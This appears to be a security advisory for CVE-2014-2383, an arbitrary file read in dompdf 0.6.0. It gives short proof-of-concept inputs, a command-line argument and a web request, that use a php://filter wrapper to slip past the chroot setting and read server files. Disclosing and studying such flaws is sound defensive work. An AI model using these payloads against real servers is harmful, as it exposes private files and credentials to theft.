dompdf 0.6.0 - 'dompdf.php read Parameter' Arbitrary File Read

Vulnerability title: Arbitrary file read in dompdf

CVE: CVE-2014-2383

Vendor: dompdf

Product: dompdf

Affected version: v0.6.0

Fixed version: v0.6.1 (partial fix)

Reported by: Alejo Murillo Moyas



Details:

An arbitrary file read vulnerability is present on dompdf.php file that

allows remote or local attackers to read local files using a special

crafted argument. This vulnerability requires the configuration flag

DOMPDF_ENABLE_PHP to be enabled (which is disabled by default).



Using PHP protocol and wrappers it is possible to bypass the dompdf's

"chroot" protection (DOMPDF_CHROOT) which prevents dompdf from accessing

system files or other files on the webserver. Please note that the flag

DOMPDF_ENABLE_REMOTE needs to be enabled.



Command line interface:

php dompdf.php

php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>



Web interface:

   

http://example/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>

        



Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/





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